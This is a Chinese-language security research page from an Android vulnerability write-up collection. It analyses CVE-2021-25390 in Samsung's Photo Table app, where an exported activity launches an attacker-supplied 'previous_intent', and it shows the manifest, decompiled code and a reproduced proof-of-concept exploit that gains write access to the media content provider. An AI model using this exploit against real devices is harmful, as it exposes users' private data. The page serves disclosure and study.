Happy Android Security
  • 前言
  • CTF
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme01
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme02
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme03
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme04
    • 2015 0CTF Vezel 100
    • 2015 0CTF Simple 150
    • 2015 XCTF&RCTF Flag System 100
    • 2015 XCTF&RCTF Where 300
    • 2015 海峡两岸CTF 一个APK逆向试试吧
    • 2016 LCTF EASY 100
    • 2016 AliCTF Timer 50
    • 2016 AliCTF Loop And Loop 100
    • 2016 ZCTF Android1 200
    • 2016 LCTF EASY EASY 200
    • 2017 ISCC 全国大学生信息安全与对抗技术竞赛 简单到不行
    • 2017 SSCTF 加密勒索软件 100
    • 2017 SSCTF Login 200
    • 2017 XCTF&NJCTF Easy Crack 100
    • 2017 XCTF&NJCTF Safe Box 100
    • 2017 XCTF&NJCTF Little Rotator Game 200
    • 2017 陕西省网络安全大赛 拯救鲁班七号 100
    • 2017 陕西省网络安全大赛 The Marauders Map 150
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉1 200
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉2 200
    • 2017 陕西省网络安全大赛 取证密码 200
  • 应用侧安全
    • 任意私有组件启动漏洞的利用
    • [ByteDance] [TikTok] NotificationBroadcastReceiver导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] DetailActivity导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] WallPaperDataProvider导出存在任意私有文件读取漏洞
    • [Adobe] [Acrobat Reader] AdobeReader处理DeepLink时未正确进行合法性校验导致下载PDF文件过程出现路径穿越可造成远程代码执行
    • [CVE-2019-16253] [Samsung] [SMT] SamsungTTSService导出存在任意私有组件调用提权漏洞
    • [CVE-2021-25390] [Samsung] [Photo Table] PermissionsRequestActivity存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25391] [Samsung] [Secure Folder] KnoxSettingCheckLockTypeActivity泄露Intent可获取ContentProvider数据
    • [CVE-2021-25397] [Samsung] [TelephonyUI] PhotoringReceiver导出存在任意文件写漏洞结合动态库加载行为可实现本地任意代码执行
    • [CVE-2021-25410] [Samsung] [CallBGProvider] CallBGProvider的调用权限定义为Normal可实现任意私有文件读取
    • [CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25414] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有文件读写漏洞
    • [CVE-2021-25440] [Samsung] [FactoryCameraFB] CameraTestActivity导出存在文件读写权限泄露漏洞
    • [CVE-2022-22292] [Samsung] [Telecom] 动态注册BroadcastReceiver默认导出存在任意私有组件启动漏洞
  • 系统侧安全
    • REDMI 5 Plus Second Space Password Bypass
    • 【蓝牙】CVE-2017-13258 CVE-2017-13260 CVE-2017-13261 CVE-2017-13262信息泄露
    • 【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE
    • 【蓝牙】CVE-2018-9358 信息泄露
    • 【蓝牙】CVE-2018-9359 process_l2cap_cmd_L2CAP_CMD_INFO_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9360 process_l2cap_cmd_L2CAP_CMD_CONN_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9361 process_l2cap_cmd_L2CAP_CMD_DISC_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9365 smp_sm_event数组越界访问导致RCE
    • 【蓝牙】CVE-2018-9381 gatts_process_read_by_type_req未初始化栈变量导致信息泄露
    • 【NFC】CVE-2018-9584 nfc_ncif_set_config_status未检测长度越界读写
    • 【NFC】CVE-2018-9585_nfc_ncif_proc_get_routing未检测长度越界读写
    • 【蓝牙】CVE-2019-2209 未检测PIN码长度导致越界读造成信息泄露
    • 【NFC】CVE-2019-9358 ce_t3t_data_cback越界读写
  • 内核驱动侧安全
Powered by GitBook
On this page
  • 0x00 漏洞概述
  • 0x01 触发条件
  • 0x02 PoC
  • 0x03 前置知识
  • 0x04 Root Cause Analysis
  • 0x05 调试与利用
  • 0x06 漏洞研究
  • 0x07 References
  • 附录:调试过程记录
  1. 应用侧安全

[CVE-2021-25390] [Samsung] [Photo Table] PermissionsRequestActivity存在任意私有组件启动漏洞可获取ContentProvider数据

Date
Version
Description
Author

2022.11.20

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

三星手机系统的Photo Table存在一个导出组件PermissionsRequestActivity,其接收外部传入的字段"previous_intent"并直接打开,存在任意私有组件启动漏洞,结合FileProvider等配置可实现任意文件读写,由于Photo Table不存在FileProvider,所以只能获取到ContentProvider数据

0x01 触发条件

上线日期
应用名
包名
版本号
MD5
下载链接

Photo Table

com.android.dreams.phototable

2fbd11fa7859d5a2c223b8439cd01f65

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.android.dreams.phototable.PermissionsRequestActivity导出

<activity 
        android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode" 
        android:excludeFromRecents="true" 
        android:label="@string/app_name" 
        android:name="com.android.dreams.phototable.PermissionsRequestActivity" 
        android:theme="@style/Theme.Permission.Activity">
    <intent-filter>
    	<action android:name="android.intent.action.MAIN"/>
    </intent-filter>
</activity>

在方法onCreate()里,[1]获取外部传入Intent的字段"previous_intent"并保存到__intent_bundle_mDreamPreviousIntent__

// com.android.dreams.phototable.PermissionsRequestActivity
@Override  // android.app.Activity
public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    Bundle __intent_bundle__ = this.getIntent().getExtras();
    this.mExtras = __intent_bundle__;
    if(__intent_bundle__ == null) {
        this.finish();
        return;
    }

    this.__intent_bundle_mDreamPreviousIntent__ = (Intent)__intent_bundle__.get("previous_intent");  // [1] 
}

在方法onResume()里,[1]调用方法startDreamActivity()处理传入的"previous_intent"

// com.android.dreams.phototable.PermissionsRequestActivity
@Override  // android.app.Activity
protected void onResume() {
    super.onResume();
    ArrayList arrayList = RuntimePermissionsUtils.getDisabledPermissionList(this, ((String[])this.mExtras.get("permission_list")));
    this.mRequestPermissionsList = arrayList;
    if(arrayList.size() > 0) {
        ...
    }

    if(!this.mIsAlreadyDreamStarted) {
        this.startDreamActivity();  // [1]
    }
}

调用方法startActivity()打开外部传入的"previous_intent",此处存在任意私有组件启动漏洞

private void startDreamActivity() {
    this.mIsAlreadyDreamStarted = true;
    if(!RuntimePermissionsUtils.isInLockTaskMode(this.getBaseContext())) {
        this.finish();
    }

    Intent __intent_bundle_DreamPreviousIntent__ = this.__intent_bundle_mDreamPreviousIntent__;
    if(__intent_bundle_DreamPreviousIntent__ != null) {
        __intent_bundle_DreamPreviousIntent__.addFlags(0x10000);
        this.startActivity(this.__intent_bundle_mDreamPreviousIntent__);  // [1]
    }

    this.overridePendingTransition(0, 0);
}

0x05 调试与利用

Oversecured实验室的PoC还是写的可以的,这种写法我一开始没有想到

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   handle(getIntent());
}

protected void onNewIntent(Intent intent) {
   super.onNewIntent(intent);
   handle(intent);
}

private void handle(Intent intent) {
   if("evil".equals(intent.getAction())) {
       String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
               Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
               "Title_1337",
               "Description_1337");
       Log.d("evil", "Result: " + uri);
   }
   else {
       Intent next = new Intent("evil", MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
       next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
       next.setClass(this, getClass());

       Intent i = new Intent();
       i.setClassName("com.android.dreams.phototable", "com.android.dreams.phototable.PermissionsRequestActivity");
       i.putExtra("previous_intent", next);
       i.putExtra("permission_list", new String[0]);
       startActivity(i);
   }
}

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 1》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1/

附录:调试过程记录

Previous[CVE-2019-16253] [Samsung] [SMT] SamsungTTSService导出存在任意私有组件调用提权漏洞Next[CVE-2021-25391] [Samsung] [Secure Folder] KnoxSettingCheckLockTypeActivity泄露Intent可获取ContentProvider数据

Last updated 2 years ago